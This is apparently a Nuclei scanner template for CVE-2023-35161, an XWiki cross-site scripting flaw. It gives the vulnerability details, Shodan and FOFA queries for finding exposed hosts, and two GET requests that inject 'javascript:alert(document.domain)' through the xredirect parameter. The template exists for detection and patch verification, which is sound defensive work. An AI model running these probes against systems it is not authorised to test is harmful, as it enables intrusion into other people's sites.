id: CVE-2023-35161

info:
  name: XWiki >= 6.2-milestone-1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the DeleteApplication page to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Menu&resolve=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 6.2-milestone-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
  impact: |
    Successful exploitation could lead to cross-site scripting.
  remediation: |
    This vulnerability has been patched in XWiki 14.10.5,15.1-rc-1.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20614
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35161
    cwe-id: CWE-79
    epss-score: 0.15561
    epss-percentile: 0.94777
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Menu&resolve=true&xredirect=javascript:alert(document.domain)"
      - "{{BaseURL}}/bin/view/AppWithinMinutes/DeleteApplication?appName=Menu&resolve=true&xredirect=javascript:alert(document.domain)"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'javascript:alert(document.domain)'
          - 'DeleteApplication'
          - 'data-xwiki'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
          - 401
# digest: 4b0a00483046022100f1c4650375c466c920a718f6cc79ed320c98a162eaa384b12e3be3b24de8962602210097f21b3b157cf941c22f0de669af78bee1bbcd7ec31d88485f06a97394ddf5c6:922c64590222798bb761d5b6d8e72950